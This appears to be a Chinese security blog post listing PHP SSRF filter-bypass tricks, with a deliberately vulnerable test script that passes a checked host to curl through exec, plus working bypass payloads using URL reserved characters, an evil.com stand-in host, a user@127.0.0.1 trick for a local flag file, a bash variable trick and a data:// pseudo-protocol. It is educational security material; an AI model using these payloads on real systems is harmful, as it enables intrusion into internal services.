NEKO

PHP-SSRF绕过tricks

2018/06/24

环境:PHP 7.0.12

利用URL保留字符

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$url = $argv[1];
if (filter_var($url, FILTER_VALIDATE_URL)) {

$r = parse_url($url);
print_r($r);
echo "---------------------------------------------------\n";
if (preg_match('/baidu\.com$/', $r['host'])) {

exec('curl -v -s "' . $r['host'] . '"', $a);
print_r($a);
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}

限定的规则为url必须符合标准并且host要以baidu.com结尾.

预期效果:

在URL中保留了一些具有特殊符号,不进行url编码便会有特殊含义:

我们可以构造形如http://evil.com?baidu.com这样的payload.
但是这样就不符合FILTER_VALIDATE_URL的规则。可以修改payload为
0://evil.com?baidu.com/便可绕过

有时需指明网站端口,否则会访问失败.

在windows测试时成功的payload仅有一个:

1
0://evil.com:80?baidu.com:80/

在ubuntu上测试时,成功的payload有:

1
2
0://evil.com:80=baidu.com:80/
0://evil.com:80,baidu.com:80/

更新,添加一条payload:

1
http://user@127.0.0.1:80@baidu.com/flag.php

利用bash特性

另一种绕过思路需要环境为linux系统.
由于curl是由bash执行,只需构造payload为:

1
'0://evil$baidu.com'

在执行curl操作时,bash将$baidu解析为一个空变量.

利用伪协议

如果代码使用的是file_get_contents()来获取网页内容,可以通过伪协议,来控制file_get_contents()读取的内容。
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$url = $argv[1];
if (filter_var($url, FILTER_VALIDATE_URL)) {

$r = parse_url($url);
print_r($r);
echo "---------------------------------------------------\n";
if (preg_match('/baidu\.com$/', $r['host'])) {

$a = file_get_contents($url);
echo ($a);
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}

payload:

1
data://baidu.com/plain;base64,bmVrbw==

这里将MIME字段换成了baidu.com,一是绕过了host判断,二是这种行为并不影响伪协议的解析.

结果:

1
2
3
4
5
6
7
8
9
D:\phpstudy\PHPTutorial\WWW>php ssrf.php data://baidu.com/plain;base64,bmVrbw==
Array
(
[scheme] => data
[host] => baidu.com
[path] => /plain;base64,bmVrbw==
)
---------------------------------------------------
neko

通过这种方法可随意xss.

参考:
https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

原文作者: n3k0

发表日期: June 24th 2018, 1:15:09

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. 利用URL保留字符
  2. 2. 利用bash特性
  3. 3. 利用伪协议